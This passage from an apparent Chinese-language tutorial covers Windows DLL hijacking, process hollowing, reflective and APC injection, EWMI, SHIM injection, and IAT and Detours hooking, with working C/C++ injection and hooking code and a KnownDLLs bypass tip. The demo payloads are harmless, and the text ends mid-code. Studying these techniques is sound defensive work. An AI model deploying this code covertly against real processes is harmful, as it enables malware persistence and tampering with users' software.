EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_ftsWordBreak(void) { GetAddress("ftsWordBreak"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /* win7及win7以上系统增加了KnownDLLs保护,需要在注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\ExcludeFromKnownDlls 下添加 "lpk.dll" 才能顺利劫持。 */
0x3:DLL劫持防御
1. 添加KnownDLL
HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Control\Session Manager\KnownDLL
该项下的子健代表了dll的名字,如果这里存在lpk.dll,则系统不会加载当前目录下的lpk.dll,而是会去系统盘加载
Relevant Link:
http://drops.xmd5.com/static/drops/tips-9106.html http://www.yunsec.net/a/school/bdzs/fmuma/2013/0117/12276.html http://www.cnblogs.com/swyft/articles/5580342.html https://github.com/eric21/lpk http://www.cnblogs.com/goding/archive/2012/04/04/2431966.html http://gslab.qq.com/article-205-1.htm
6. 通过进程调试机制注入DLL
0x1:技术原理
系统载入一个被调试程序(debugger)的时候,会在被调试程序的地址空间准备完毕之后但被调试程序的主线程尚未开始执行任何代码之前,自动通知调试器。
基于这种机制,调试器可以强制将一些代码注入到被调试程序的地址空间中(例如使用writeprocessmemory),然后让被调试程序的主线程去执行这些代码。原理上类似于linux上的ptrace调试技术。
7. 基于CreateRemoteThread+WriteProcessMemory植入PE完整代码实现动态PE代码植入
0x1:技术原理
- 使用VirtualAllocEx在目标进程的地址空间中创建一块内存空间
- 使用WriteProcessMemory,将一段shellcode地址写入分配的内存,这里需要用到”dll反射技术“。这段shellcode由两部分组成:
- 待注入的pe shellcode
- peloader:它不依赖于任何额外的Windows API(例如CreateRemoteThread或LoadLibrary),因为它们在内存中加载和执行自己
- 一旦DLL路径写入内存中,再使用CreateRemoteThread从被注入的Shellcode内存地址开始启动
这种自加载的反射式dll注入技术更加隐蔽,相对于LoadLibrary注入的一个优点是恶意软件不必在磁盘上放一个恶意DLL。
然而,这种方法的一个缺陷是目标基址的改变,当恶意软件将其PE注入到另一个进程时,其会有一个新的不可预测的基址,这就要求其动态地重新计算PE的地址。为了解决这个问题,恶意软件需要在宿主进程中找到其重定位表地址,并通过循环其重定位描述符来解析绝对地址。
8. 使用PROCESS HOLLOWING技术(PROCESS REPLACEMENT AND RUNPE)来注入代码
恶意软件可以利用Process Hollowing技术,将目标进程中的原始image section取消映射,并使用恶意可执行文件覆盖目标进程的内存空间时,即所谓的Process Hollowing。
0x1:技术原理
- 父进程生成一个被挂起的子进程(正常进程,例如notepad),子进程启动前会被挂起,将控制权交回给父进程。这是通过调用CreateProcess并将Process Creation Flag设置为CREATE_SUSPENDED(0×00000004)来完成的
- 新进程的主线程是在挂起状态下创建的,并且在调用ResumeThread函数之前不会执行
- 接下来,恶意软件需要使用恶意载荷交换合法文件的内容,这是通过调用ZwUnmapViewOfSection或NtUnmapViewOfSection来取消映射目标进程的内存完成的
- 此时目标进程(例如notepad)的对应内存区域处于未映射状态
- 恶意软件执行VirtualAllocEx在被注入进程中分配新内存,并使用WriteProcessMemory将恶意代码的部(也可以是自身)分写入目标进程空间
- 恶意软件通过调用SetThreadContext将入口点指向它已编写的新代码段
- 后,恶意软件通过调用ResumeThread恢复挂起的线程,使进程退出挂起状态
9. APC DLL注入
0x1: 内核方式投递APC
异步过程调用(APC)是NT异步处理体系结构中的一个基础部分。Alertable IO(告警IO)提供了更有效的异步通知形式,当IO请求完成后,一旦线程进入可告警状态,回调函数将会执行,也就是一个APC的过程.
线程进入告警状态时,内核将会检查线程的APC队列,如果队列中有APC,将会按FIFO方式依次执行。如果队列为空,线程将会挂起等待事件对象。以后的某个时刻,一旦APC进入队列,线程将会被唤醒执行APC.
APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下:
- 当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断。
- 当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。
- 利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。
1. 第一步: 打开目标进程获得句柄 2. 第二步: 枚举目标进程里面的线程得到线程ID HANDLE WINAPI CreateToolhelp32Snapshot( _In_ DWORD dwFlags,//snapshot包涵的内容 _In_ DWORD th32ProcessID//进程ID ),用来创建一个枚举线程的快照。然后调用函数Thread32First和Thread32Next来循环枚举线程 BOOL WINAPI Thread32First( _In_ HANDLE hSnapshot,//快照句柄 _Inout_ LPTHREADENTRY32 lpte//保存相关信息的结构体 ) BOOL WINAPI Thread32Next( _In_ HANDLE hSnapshot, _Out_ LPTHREADENTRY32 lpte )。 3. 第三步: 打开线程得到线程句柄 HANDLE WINAPI OpenThread( _In_ DWORD dwDesiredAccess,//打开权限 _In_ BOOL bInheritHandle,//子进程是否继承该句柄 _In_ DWORD dwThreadId//线程ID ) 4. 第四步: 调用QueueUserAPC函数向枚举到的每一个线程插入APC HANDLE WINAPI OpenThread( _In_ DWORD dwDesiredAccess,//打开权限 _In_ BOOL bInheritHandle,//子进程是否继承该句柄 _In_ DWORD dwThreadId//线程ID )
0x2:代码示例
1. 注入notepad++恶意软件代码
// apc-inject.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <windows.h> #include <TlHelp32.h> #include <vector> using std::vector; bool FindProcess(PCWSTR exeName, DWORD& pid, vector<DWORD>& tids) { auto hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return false; pid = 0; PROCESSENTRY32 pe = { sizeof(pe) }; if (::Process32First(hSnapshot, &pe)) { do { if (_wcsicmp(pe.szExeFile, exeName) == 0) { pid = pe.th32ProcessID; THREADENTRY32 te = { sizeof(te) }; if (::Thread32First(hSnapshot, &te)) { do { if (te.th32OwnerProcessID == pid) { tids.push_back(te.th32ThreadID); } } while (::Thread32Next(hSnapshot, &te)); } break; } } while (::Process32Next(hSnapshot, &pe)); } ::CloseHandle(hSnapshot); return pid > 0 && !tids.empty(); } void main() { DWORD pid; vector<DWORD> tids; if (FindProcess(L"notepad++.exe", pid, tids)) { printf("OpenProcess\n"); HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid); printf("VirtualAllocEx\n"); auto p = ::VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); wchar_t buffer[] = L"c:\\test\\testDll.dll"; printf("WriteProcessMemory\n"); ::WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), nullptr); for (const auto& tid : tids) { printf("OpenThread\n"); HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid); if (hThread) { printf("GetProcAddress\n"); # 任意一个DLL插入到进程执行的是用户空间代码,所以必须要使用LoadLibrayA加载才可访问用户地址空间 ::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"), hThread, (ULONG_PTR)p); } } printf("VirtualFreeEx\n"); ::VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT); } }
2. 被注入dll代码
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, NULL, NULL, 0); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
需要注意的一点是,从流程上看QueueUserAPC直接转入了系统服务NtQueueApcThread,从而利用KeInsertQueueApc向给出的目标线程的APC队列插入一APC对象。
倘若KiDeliverApc顺利的去构造apc环境并执行我们的代码那一切就OK了,但是没有那么顺利的事。
ApcState中UserApcPending是否为TRUE有重要的影响,结果往往是等了很久代码还是没得到执行,解决这个问题的方法有2个
- 把所有线程全都QueueUserAPC。但这样做很影响目标进程效率
- 使用目标线程调用 SleepEx(.,TRUE),然后QueueUserAPC插入DLL。因为APC是异步过程调用,系统创建线程的时候会为线程创建一个APC队列,当线程调用SleepEx,WaitSingleObjectEx等函数时,并把线程状态被设置为可提醒状态时,线程并不会睡眠,而是检查APC队列是否为空,如果不为空,转去执行APC队列中的每一项,因此给目标进程中的线程插入APC,就可以实现进程注入
Relevant Link:
http://gslab.qq.com/article-206-1.html http://www.pediy.com/kssd/pediy11/114648.html https://technet.microsoft.com/en-us/sysinternals/processexplorer.aspx https://github.com/3gstudent/Inject-dll-by-APC http://www.cnblogs.com/arsense/p/6427472.html http://www.programlife.net/apc-injection.html https://blog.csdn.net/qq125096885/article/details/50953716 https://blog.csdn.net/hades1996/article/details/9197755
10. ComRes DLL注入
ComRes注入的原理是利用Windows 系统中C:\WINDOWS\system32目录下的ComRes.dll这个文件,当待注入EXE如果使用CoCreateInstance()这个API时,COM服务器会加载ComRes.dll到EXE中,我们利用这个加载过程,把ComRes.dll替换掉(DLL劫持技术),并在伪造的ComRes.dll,然后利用LoadLibrary()将事先准备好的DLL加载到目标的EXE中。
Relevant Link:
https://blog.csdn.net/u012108436/article/details/44535819
11. 通过SETWINDOWLONG进行附加窗口内存注入(EWMI)
EWMI依赖于注入资源管理器托盘窗口的额外窗口内存,注册窗口类时,应用程序可以指定一些额外的内存字节,称为额外窗口内存(EWM)。但是,EWM的空间不大。为了规避此限制,恶意软件将代码写入explorer.exe的共享部分,并使用SetWindowLong和SendNotifyMessage使用指向shellcode的函数指针,然后执行它。
在写入共享部分时,恶意软件有两种选择,
- 它既可以创建共享空间
- 也可以将其映射到自身和另一个进程(例如explorer.exe)
- 也可以只打开已存在的共享空间
在恶意软件将其shellcode写入共享部分后,它使用GetWindowLong和SetWindowLong来访问和修改“Shell_TrayWnd”的额外窗口内存。
GetWindowLong是一个API,用于将指定偏移量的32位值检索到窗口类对象的额外窗口内存中。
SetWindowLong用于更改指定偏移量的值。
这样一来,恶意软件可以简单地更改窗口类中的函数指针的偏移量,并将其指向写入共享部分的shellcode。
与上面提到的大多数其他技术一样,恶意软件需要触发它特制的代码。在先前讨论的技术中,恶意软件通过调用诸如CreateRemoteThread,QueueUserAPC或SetThreadContext之类的API来实现此目的。使用此方法,恶意软件会通过调用SendNotifyMessage来触发注入的代码。执行SendNotifyMessage后,Shell_TrayWnd接收控制并将控制转移到之前由SetWindowLong设置的值指向的地址。
12. SHIMS注入
Microsoft向开发人员提供SHIMS主要是为了向后兼容。SHIMS允许开发人员将修补程序应用于他们的程序,而无需重写代码。
通过利用SHIMS,开发人员可以告诉操作系统如何处理应用程序。SHIMS本质上是一种挂钩API并定位特定可执行文件的方法。恶意软件可以利用SHIMS来定位持久性和注入的可执行文件。
Windows在加载二进制文件时运行Shim Engine以检查SHIMS数据库以应用适当的修复程序。
现在有许多方法应用修复程序,但恶意软件的最爱是与安全相关的(例如,DisableNX,DisableSEH,InjectDLL等)。要安装填充数据库,恶意软件可以部署各种方法。例如,一种常见的方法是简单地执行sdbinst.exe,并将其指向恶意sdb文件。
13. IAT HOOKING
IAT hooking是恶意软件用于更改导入地址表(import table)的技术。当合法应用程序调用位于DLL中的API时,其会执行替换的函数,而不是原始函数。
0x1:技术原理
我们知道,一个二进制模块的导入段包含一组DLL,为了让模块能够运行,这些DLL是必须的。
此外,导入段还包含一个符号表,其中列出了该模块从各DLL中导入的符号。当该模块调用另一个导入函数的时候,线程实际上会先从模块的导入表中得到相应的导入函数的地址,然后再跳转到那个地址。
因此,为了拦截一个特定的函数,我们需要修改它在模块的导入段中的地址。
需要注意的是,通过修改模块的导入段只能影响该模块本身(常常是该主进程)的调用行为,而不影响其他进程,同时,该模块地址空间中的DLL也不受影响,因为这些DLL有它们自己的导入段,它们并没有被修改。如果想要捕获所有模块对执行函数的所有调用,必须对载入到地址空间中的每个模块都进行导入段修改。
0x2:实现方案
1. ReplaceIATEntryInAllMods中遍历模块的框架
void CAPIHOOK::ReplaceIATEntryInAllMods(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, BOOL bExcludeAPIHookMod) { //取得当前模块句柄 HMODULE hModThis = NULL; if (bExcludeAPIHookMod) { MEMORY_BASIC_INFORMATION mbi; if (0 != ::VirtualQuery(ReplaceIATEntryInAllMods, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) //ReplaceIATEntryInAllMods必须为类的static函数 { hModThis = (HMODULE)mbi.AllocationBase; } } //取得本进程的模块列表 HANDLE hModuleSnap = INVALID_HANDLE_VALUE; MODULEENTRY32 me32; hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId()); if (INVALID_HANDLE_VALUE == hModuleSnap) { return; } me32.dwSize = sizeof( MODULEENTRY32 ); if( !Module32First( hModuleSnap, &me32 ) ) { return; } do { //对每一个模块 if (me32.hModule != hModThis) { ReplaceIATEntryInOneMod(pszExportMod, pfnCurrent, pfnNewFunc, me32.hModule); } } while( Module32Next( hModuleSnap, &me32 ) ); ::CloseHandle(hModuleSnap); //配对写 }
2. 遍历链表摘除自己(恢复被Hook导入函数)的框架
CAPIHOOK::~CAPIHOOK(void) { //取消对函数的HOOK ReplaceIATEntryInAllMods(m_pszModName, m_pfnHook, m_pfnOrig, TRUE); //把自己从链表中删除 CAPIHOOK* p = sm_pHeader; if (p == this) { sm_pHeader = this->m_pNext; } else { while(p != NULL) { if (p->m_pNext == this) { p->m_pNext = this->m_pNext; break; } p = p->m_pNext; } } }
3. ReplaceIATEntryInOneMod
使用IAT Hook劫持技术,需要额外处理几个特殊的情况
- 如果一个线程在我们调用了ReplaceIATEntryInAllMods之后调用LoadLibrary来动态载入一个新的DLL,这种情况下,新载入的DLL并没有被IAT替换。因此我们需要拦截LoadLibraryA、LoadLibraryW、LoadLibraryExA、LoadLibraryExW函数,这样我们就能够捕获这些调用,并为新载入的模块调用ReplaceIATEntryInAllMod。之所以要用All,是因为新载入的DLL可能有静态依赖其他DLL,这些静态依赖的DLL不会触发我们的LoadLibrary..系列函数
- 假如目标模块使用GetProcAddress动态调用函数,程序流也不会到IAT这里,因此我们需要对GetProcAddress进行单独的Hook处理
## .cpp
#include "APIHOOK.h" #include <Tlhelp32.h> CAPIHOOK *CAPIHOOK::sm_pHeader = NULL; CAPIHOOK CAPIHOOK::sm_LoadLibraryA("kernel32.dll", "LoadLibraryA", (PROC)CAPIHOOK::LoadLibraryA, TRUE); CAPIHOOK CAPIHOOK::sm_LoadLibraryW("kernel32.dll", "LoadLibraryW", (PROC)CAPIHOOK::LoadLibraryW, TRUE); CAPIHOOK CAPIHOOK::sm_LoadLibraryExA("kernel32.dll", "LoadLibraryExA", (PROC)CAPIHOOK::LoadLibraryExA, TRUE); CAPIHOOK CAPIHOOK::sm_LoadLibraryExW("kernel32.dll", "LoadLibraryExW", (PROC)CAPIHOOK::LoadLibraryExW, TRUE); CAPIHOOK CAPIHOOK::sm_GetProcAddress("kernel32.dll", "GetProcAddress", (PROC)CAPIHOOK::GetProcess, TRUE); CAPIHOOK::CAPIHOOK(LPTSTR lpszModName, LPSTR pszFuncName, PROC pfnHook, BOOL bExcludeAPIHookMod) { //初始化变量 m_pszModName = lpszModName; m_pszFuncName = pszFuncName; m_pfnOrig = ::GetProcAddress(::GetModuleHandleA(lpszModName), pszFuncName); m_pfnHook = pfnHook; //将此对象加入链表中 m_pNext = sm_pHeader; sm_pHeader = this; //在当前已加载的模块中HOOK这个函数 ReplaceIATEntryInAllMods(lpszModName, m_pfnOrig, m_pfnHook, bExcludeAPIHookMod); } CAPIHOOK::~CAPIHOOK(void) { //取消对函数的HOOK ReplaceIATEntryInAllMods(m_pszModName, m_pfnHook, m_pfnOrig, TRUE); //把自己从链表中删除 CAPIHOOK* p = sm_pHeader; if (p == this) { sm_pHeader = this->m_pNext; } else { while(p != NULL) { if (p->m_pNext == this) { p->m_pNext = this->m_pNext; break; } p = p->m_pNext; } } } //防止程序运行期间动态加载模块 void CAPIHOOK::HookNewlyLoadedModule(HMODULE hModule, DWORD dwFlags) { if (hModule!=NULL && (dwFlags&LOAD_LIBRARY_AS_DATAFILE)==0) { CAPIHOOK* p = sm_pHeader; //循环遍历链表,对每个CAPIHOOK进入HOOK if (p != NULL) { ReplaceIATEntryInOneMod(p->m_pszModName, p->m_pfnOrig, p->m_pfnHook, hModule); p = p->m_pNext; } } } //防止程序运行期间动态调用API函数 FARPROC WINAPI CAPIHOOK::GetProcess(HMODULE hModule, PCSTR pszProcName) { //得到函数的真实地址 FARPROC pfn = ::GetProcAddress(hModule, pszProcName); //遍历列表 看是不是要HOOK的函数 CAPIHOOK* p = sm_pHeader; while(p != NULL) { if (p->m_pfnOrig == pfn) //是要HOOK的函数 { pfn = p->m_pfnHook; //HOOK掉 break; } p = p->m_pNext; } return pfn; } void CAPIHOOK::ReplaceIATEntryInOneMod(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, HMODULE hModCaller) { IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)hModCaller; IMAGE_OPTIONAL_HEADER* pOpNtHeader = (IMAGE_OPTIONAL_HEADER*)((BYTE*)hModCaller + pDosHeader->e_lfanew + 24); //这里加24 IMAGE_IMPORT_DESCRIPTOR* pImportDesc = (IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)hModCaller + pOpNtHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); BOOL bFindDll = FALSE; while (pImportDesc->FirstThunk) { char* pszDllName = (char*)((BYTE*)hModCaller + pImportDesc->Name); if (stricmp(pszDllName, pszExportMod) == 0)//如果找到pszExportMod模块,相当于hook messageboxa时的“user32.dll” { bFindDll = TRUE; break; } pImportDesc++; } if (bFindDll) { DWORD n = 0; //一个IMAGE_THUNK_DATA就是一个导入函数 IMAGE_THUNK_DATA* pThunk = (IMAGE_THUNK_DATA*)((BYTE*)hModCaller + pImportDesc->OriginalFirstThunk); while (pThunk->u1.Function) { //取得函数名称 char* pszFuncName = (char*)((BYTE*)hModCaller+pThunk->u1.AddressOfData+2); //函数名前面有两个.. //printf("function name:%-25s, ", pszFuncName); //取得函数地址 PDWORD lpAddr = (DWORD*)((BYTE*)hModCaller + pImportDesc->FirstThunk) + n; //从第一个函数的地址,以后每次+4字节 //printf("addrss:%X\n", lpAddr); //在这里是比较的函数地址 if (*lpAddr == (DWORD)pfnCurrent) //找到iat中的函数地址 { DWORD* lpNewProc = (DWORD*)pfnNewFunc; MEMORY_BASIC_INFORMATION mbi; DWORD dwOldProtect; //修改内存页的保护属性 ::VirtualQuery(lpAddr, &mbi, sizeof(MEMORY_BASIC_INFORMATION)); ::VirtualProtect(lpAddr, sizeof(DWORD), PAGE_READWRITE, &dwOldProtect); ::WriteProcessMemory(GetCurrentProcess(), lpAddr, &lpNewProc, sizeof(DWORD), NULL); ::VirtualProtect(lpAddr, sizeof(DWORD), dwOldProtect, NULL); return; } n++; //每次增加一个DWORD } } } void CAPIHOOK::ReplaceIATEntryInAllMods(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, BOOL bExcludeAPIHookMod) { //取得当前模块句柄 HMODULE hModThis = NULL; if (bExcludeAPIHookMod) { MEMORY_BASIC_INFORMATION mbi; if (0 != ::VirtualQuery(ReplaceIATEntryInAllMods, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) //ReplaceIATEntryInAllMods必须为类的static函数 { hModThis = (HMODULE)mbi.AllocationBase; } } //取得本进程的模块列表 HANDLE hModuleSnap = INVALID_HANDLE_VALUE; MODULEENTRY32 me32; hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId()); if (INVALID_HANDLE_VALUE == hModuleSnap) { return; } me32.dwSize = sizeof( MODULEENTRY32 ); if( !Module32First( hModuleSnap, &me32 ) ) { return; } do { //对每一个模块 if (me32.hModule != hModThis) { ReplaceIATEntryInOneMod(pszExportMod, pfnCurrent, pfnNewFunc, me32.hModule); } } while( Module32Next( hModuleSnap, &me32 ) ); ::CloseHandle(hModuleSnap); //配对写 } //防止自动加载 HMODULE WINAPI CAPIHOOK::LoadLibraryA(LPCTSTR lpFileName) { HMODULE hModule = LoadLibraryA(lpFileName); HookNewlyLoadedModule(hModule, 0); //这个函数中忆检测hModule 了 return hModule; } HMODULE WINAPI CAPIHOOK::LoadLibraryW(LPCTSTR lpFileName) { HMODULE hModule = LoadLibraryW(lpFileName); HookNewlyLoadedModule(hModule, 0); //这个函数中忆检测hModule 了 return hModule; } HMODULE WINAPI CAPIHOOK::LoadLibraryExA(LPCTSTR lpFileName, HANDLE hFile, DWORD dwFlags) { HMODULE hModule = LoadLibraryExA(lpFileName, hFile, dwFlags); HookNewlyLoadedModule(hModule, dwFlags); //这个函数中忆检测hModule 了 return hModule; } HMODULE WINAPI CAPIHOOK::LoadLibraryExW(LPCTSTR lpFileName, HANDLE hFile, DWORD dwFlags) { HMODULE hModule = LoadLibraryExW(lpFileName, hFile, dwFlags); HookNewlyLoadedModule(hModule, dwFlags); //这个函数中忆检测hModule 了 return hModule; }
## .h
#pragma once #include <Windows.h> class CAPIHOOK { public: CAPIHOOK(LPTSTR lpszModName, LPSTR pszFuncName, PROC pfnHook, BOOL bExcludeAPIHookMod = TRUE); ~CAPIHOOK(void); private: static void ReplaceIATEntryInOneMod(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, HMODULE hModCaller); static void ReplaceIATEntryInAllMods(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, BOOL bExcludeAPIHookMod); //防止程序运行期间动态加载模块, 当一个新DLL被加载时调用 static void HookNewlyLoadedModule(HMODULE hModule, DWORD dwFlags); //跟踪当前进程加载新的DLL static HMODULE WINAPI LoadLibraryA(LPCTSTR lpFileName); static HMODULE WINAPI LoadLibraryW(LPCTSTR lpFileName); static HMODULE WINAPI LoadLibraryExA(LPCTSTR lpFileName, HANDLE hFile, DWORD dwFlags); static HMODULE WINAPI LoadLibraryExW(LPCTSTR lpFileName, HANDLE hFile, DWORD dwFlags); //防止程序运行期间动态调用API函数 对于请求已HOOK的API函数,返回用户自定义的函数地址 static FARPROC WINAPI GetProcess(HMODULE hModule, PCSTR pszProcName); private: //定义成静态的,会自动调用,从而实现自动HOOK static CAPIHOOK sm_LoadLibraryA; static CAPIHOOK sm_LoadLibraryW; static CAPIHOOK sm_LoadLibraryExA; static CAPIHOOK sm_LoadLibraryExW; static CAPIHOOK sm_GetProcAddress; private: static CAPIHOOK* sm_pHeader; //钩子链表 CAPIHOOK* m_pNext; //要钩子的函数 PROC m_pfnOrig; PROC m_pfnHook; //要钩子的函数所在的dll LPSTR m_pszModName; //要钩子的函数名称 LPSTR m_pszFuncName; };
Relevant Link:
https://www.freebuf.com/articles/system/187239.html
14. Detours - 一种实现Inline Hook的框架
0x1:inline hook技术原理
- 在内存中对要拦截的函数(假设是Kernel32.dll中的ExitProcess)进行定位,从而得到它的的内存地址
- 把这个函数起始的几个字节保存在我们自己的内存中
- 用CPU的一条JUMP指令来覆盖这个函数起始的几个字节,这条JUMP指令用来跳转到我们的替代函数的内存地址。当然,我们的替代函数的函数签名(参数)必须与要拦截的函数的函数签名完全相同,这包括
- 所有的参数必须相同
- 返回值必须相同
- 调用约定也必须相同
- 现在,当线程调用被拦截函数(hook function)的时候,跳转指令实际上会跳转到我们的替代函数。这时,我们就可以执行自己想要执行的任何代码
- 为了撤销对函数的拦截,我们必须把(第二步)保存下来的自己放回被拦截函数起始的几个字节中。回滚之后,我们调用被拦截函数现在已经不再对它进行拦截了,让该函数执行它的正常处理
需要注意的是,这种方法存在一些不足:
- 它对CPU有依赖性;x86、x64、IA-64以及其他CPU的JUMP指令各不相同,为了让这种方法能够工作,我们必须手工编写机器指令
- 这种方法在抢占式、多线程环境下无法工作。一个线程覆盖另一个函数起始位置的代码是需要时间的,在这个过程中,另一个线程可能试图调用同一个函数,其结果可能是灾难性的
0x2:Detours
Detours是一个在x86平台上截获任意Win32函数调用的工具库。中断代码可以在运行时动态加载。
Detours使用一个无条件转移指令来替换目标函数的最初几条指令,将控制流转移到一个用户提供的截获函数。而目标函数中的一些指令被保存在一个被称为“trampoline” (译注:英文意为蹦床,杂技)的函数中,在这里我觉得翻译成目标函数的部分克隆/拷贝比较贴切。
这些指令包括目标函数中被替换的代码以及一个重新跳转到目标函数的无条件分支。而截获函数可以替换目标函数,或者通过执行“trampoline”函数的时候将目标函数作为子程序来调用的办法来扩展功能。
Detours定义了三个概念:
- Target函数:要拦截的函数,通常为Windows的API
- Trampoline函数:Target函数的部分复制品。因为Detours将会改写Target函数,所以先把Target函数的前5个字节复制保存好,一方面仍然保存Target函数的过程调用语义,另一方面便于以后的恢复。
- Detour函数:用来替代Target函数的函数。
Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令(共5个字节)把对Target函数 的调用引导到自己的Detour函数, 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+ 5共10个字节作为Trampoline函数
Detour函数的调用过程;
1. 目标函数: 目标函数的函数体(二进制)至少有5个字节以上。按照微软的说明文档Trampoline函数的函数体是拷贝前5个字节加一个无条件跳转指令的话(如果没 有特殊处理不可分割指令的话),那么前5个字节必须是完整指令,也就是不能第5个字节和第6个字节是一条不可分割的指令,否则会造成Trampoline 函数执行错误,一条完整的指令被硬性分割开来,造成程序崩溃。对于第5字节和第6个字节是不可分割指令需要调整拷贝到杂技函数(Trampoline)的 字节个数,这个值可以查看目标函数的汇编代码得到。此函数是目标函数的修改版本,不能在Detour函数中直接调用,需要通过对Trampoline函数 的调用来达到间接调用 2. Trampoline函数: 此函数默认分配了32个字节,函数的内容就是拷贝的目标函数的前5个字节,加上一个JMP Address_of_ Target _ Function+5指令,共10个字节。 此函数仅供您的Detour函数调用,执行完前5个字节的指令后再绝对跳转到目标函数的第6个字节继续执行原功能函数 3. Detour函数: 此函数是用户需要的截获API的一个模拟版本,调用方式,参数个数必须和目标函数相一致。如目标函数是__stdcall,则Detour函数声明也必须 是__stdcall,参数个数和类型也必须相同,否则会造成程序崩溃。此函数在程序调用目标函数的第一条指令的时候就会被调用(无条件跳转过来的)。 如果在此函数中想继续调用目标函数,必须调用Trampoline函数(Trampoline函数在执行完目标函数的前5个字节的指令后会无条件跳转到目标 函数的5个字节后继续执行),不能再直接调用目标函数,否则将进入无穷递归(目标函数跳转到Detour函数,Detour函数又跳转到目标函数的递归, 因为目标函数在内存中的前5个字节已经被修改成绝对跳转)(无条件跳转)。通过对Trampoline函数的调用后可以获取目标函数的执行结果,此特性对分析目标函数非常有用,而且可以将目标函数的输出结果进行修改后再传回给应用程序 基于Detour封装的Hook框架,省去了我们处理call old function的麻烦
在进行inline hook的时候,要特别注意多核CPU在hook replace过程中的影响,因为多个线程有可能"同时"调用同一个函数地址,为了解决这个问题,一个好的做法是在inline hook的过程中,把当前进程的所有线程都挂起。通过CreateToolhelp32Snapshot和SuspendThread的配合,在完成inline hook后再恢复线程
0x3:代码示例
detours下载地址
http://research.microsoft.com/en-us/downloads/d36340fb-4d3c-4ddd-bf5b-1db25d03713d/default.aspx http://pan.baidu.com/s/1eQEijtS
编译Detours工程
打开VS20xx命令行工具,进入src目录,x86命令行和x64命令行编译出来的分别是32bit和64bit的detours lib
使用nmake(linux下是make)命令编译生成静态库
在lib.x86目录下的.lib文件是win32平台下的静态库文件
在include目录下的是Detours工程的头文件
接下来要确定我们要拦截目标进程中的哪个函数api,我们这里用IDA Pro查看一下Xenos.exe
我们选择WriteFile这个API作为劫持目标
用于劫持的dll代码,注意:需要保存为.c文件,或者加上extern C,因为detours是使用C语言实现的,表示代码使用C的规则进行编译
// notepad_api_hijack_dll.c : 定义 DLL 应用程序的导出函数。 // #include "stdafx.h" #include <stdio.h> #include <stdlib.h> #include <Windows.h> // 引入detours头文件 #include "detours.h" //1.引入detours.lib静态库 #pragma comment(lib,"detours64.lib") //2.定义函数指针 static BOOL(WINAPI *oldWriteFile)( _In_ HANDLE hFile, _In_ LPCVOID lpBuffer, _In_ DWORD nNumberOfBytesToWrite, _Out_opt_ LPDWORD lpNumberOfBytesWritten, _Inout_opt_ LPOVERLAPPED lpOverlapped ) = WriteFile; //3.定义新的函数替代目标函数,需要与目标函数的原型相同 BOOL WINAPI newWriteFile( _In_ HANDLE hFile, _In_ LPCVOID lpBuffer, _In_ DWORD nNumberOfBytesToWrite, _Out_opt_ LPDWORD lpNumberOfBytesWritten, _Inout_opt_ LPOVERLAPPED lpOverlapped ) { int result = 0; result = MessageBoxA(0, "是否允许写该文件", "提示", 1); //printf("result = %d", result); if (result == 1) // 允许调用 { oldWriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped); //调用旧的函数 } else { // 不允许调用 } return 0; } // 4.拦截 //开始拦截 _declspec(dllexport) void Hook() // _declspec(dllexport)表示外部可调用,需要加上该关键字其它进程才能成功调用该函数 { DetourRestoreAfterWith();//恢复原来状态(重置) DetourTransactionBegin();//拦截开始 DetourUpdateThread(GetCurrentThread());//刷新当前线程(刷新生效) //这里可以连续多次调用DetourAttach,表明HOOK多个函数 DetourAttach((void **)&oldWriteFile, newWriteFile);//实现函数拦截 DetourTransactionCommit();//拦截生效 } //取消拦截 _declspec(dllexport) void UnHook() { DetourTransactionBegin();//拦截开始 DetourUpdateThread(GetCurrentThread());//刷新当前线程 //这里可以连续多次调用DetourDetach,表明撤销多个函数HOOK DetourDetach((void 